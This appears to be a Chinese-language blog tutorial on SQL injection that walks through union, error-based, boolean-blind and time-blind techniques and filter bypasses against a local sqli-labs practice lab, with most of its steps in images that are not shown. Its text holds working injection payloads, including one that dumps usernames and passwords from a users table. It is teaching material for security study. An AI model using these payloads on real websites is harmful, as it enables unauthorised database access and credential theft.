SQL注入

2025-02-18 9 0

 SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)

union注入

SQL注入插图

SQL注入插图1

SQL注入插图2

SQL注入插图3

SQL注入插图4

SQL注入插图5

SQL注入插图6

总结:

SQL注入插图7

报错注入:

SQL注入插图8

SQL注入插图9

extractValue() 报错注入

SQL注入插图10

SQL注入插图11

SQL注入插图12

SQL注入插图13

concat用法concat(1,2)输出为12,将第一个和第二个连接起来为了让路径报错

SQL注入插图14

SQL注入插图15

updatexml报错注入

SQL注入插图16

SQL注入插图17

SQL注入插图18

SQL注入插图19

floor报错

函数 作用
rand() 随机返回0~1之间的小数
floor() 小数向下取整数
ceiling() 小数向上取整数
concat_ws() 将括号内数据用第一个字段连接起来
as 别名
group by 分组
count() 汇总统计数量
limit 这里用于显示指定行数

SQL注入插图20

SQL注入插图21

SQL注入插图22

SQL注入插图23

SQL注入插图24

布尔盲注

盲注:页面没有报错回显,不知道数据库具体返回值的情况,对数据库中的内容进行猜解,实行sql注入

布尔盲注:web页面只返回True、False两种类型;利用页面返回不同,逐个猜解数据

SQL注入插图25

有真假两种类型的页面

ascii() 转换为对应的ASCII码值

SQL注入插图26

SQL注入插图27

subdtr(查询语句,第几个字符,显示几个)

SQL注入插图28

?id=1' and ascii(substr('语句',1,1))>97 --+

ASCII表

ASCII值

控制字符

ASCII值

控制字符

ASCII值

控制字符

ASCII值

控制字符

0

NUL

32

(space)

64

@

96

1

SOH

33

65

A

97

a

2

STX

34

66

B

98

b

3

ETX

35

#

67

C

99

c

4

EOT

36

$

68

D

100

d

5

ENQ

37

%

69

E

101

e

6

ACK

38

&

70

F

102

f

7

BEL

39

'

71

G

103

g

8

BS

40

(

72

H

104

h

9

HT

41

)

73

I

105

i

10

LF

42

*

74

J

106

j

11

VT

43

+

75

K

107

k

12

FF

44

,

76

L

108

l

13

CR

45

-

77

M

109

m

14

SO

46

.

78

N

110

n

15

SI

47

/

79

O

111

o

16

DLE

48

0

80

P

112

p

17

DCI

49

1

81

Q

113

q

18

DC2

50

2

82

R

114

r

19

DC3

51

3

83

X

115

s

20

DC4

52

4

84

T

116

t

21

NAK

53

5

85

U

117

u

22

SYN

54

6

86

V

118

v

23

TB

55

7

87

W

119

w

24

CAN

56

8

88

X

120

x

25

EM

57

9

89

Y

121

y

26

SUB

58

:

90

Z

122

z

27

ESC

59

;

91

[

123

{

28

FS

60

<

92

\

124

|

29

GS

61

=

93

]

125

}

30

RS

62

>

94

^

126

~

31

US

63

?

95

127

DEL

SQL注入插图29

布尔盲注闭合符的判断

时间盲注

无报错、无回显、无真假值,web页面只返回一个正常页面;利用页面响应时间不同,逐个猜解数据

前提是数据库会执行命令代码,只是不反馈页面信息

函数 作用
sleep() 参数为休眠时长,以秒为单位
if(condition,true,false) condition为条件,当条件为真执行,当条件为假时执行

SQL注入插图30

1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) #

SQL注入插图31

SQL注入插图32

成功延迟两秒响应为闭合符

SQL注入过滤绕过

注释符绕过

SQL注入插图33

SQL注入插图34

SQL注入插图35

sql语句为
SELECT * FROM users WHERE union select 1,(select database()),'3' limit 0,1

为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以

•获取数据库
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

此处获取的数据库为security

•查看security库数据表
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

•查看users表的所有列
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3

•获取内容
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),'3

and和or过滤绕过

SQL注入插图36

SQL注入插图37

&&可能不能识别,转换为url编码%26%26

空格过滤绕过

用+号代替空格

SQL注入插图38

使用报错注入(无空格)
1'||extractvalue(1,concat(0x7e,database()))||'1'='1

select和union过滤绕过

SQL注入插图39

1、用注释符变形
如 un/**/ion

2、大小写
uNion seLect

3、尝试复写单词
ununionion  seleselectct

宽字节注入绕过

addslashes() 函数
在指定的预定义字符前添加反斜杠
这些字符是 '  "  \  NULL

当写入或查询用户名“1”时,数据库会识别单引号 ’ 为闭合符号,要求再输入一个单引号将其闭合,只查询 “1” 而没办法查询 " 1’ "
如果输入 " 1’ ",使 ’ 失去闭合符的功能,则数据库会识别为 " 1’ "
?id=1 ’ 单引号实际变为 ’ 无法识别为闭合符,从而防范sql注入

宽字节绕过前提为GBKB编码

SQL注入插图40

SQL注入插图41

SQL注入插图42


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Web应用&企业产权&域名资产&网络空间&威胁情报
【CTF】Python Jail沙箱逃逸手法总结 PyJail All in One
风投巨头Insight Partners遭遇网络攻击,敏感数据或泄露
网络犯罪转向社交媒体,攻击量达历史新高
雅虎数据泄露事件:黑客涉嫌兜售60.2万个电子邮件账户
黑客如何利用提示词工程操纵AI代理?

发布评论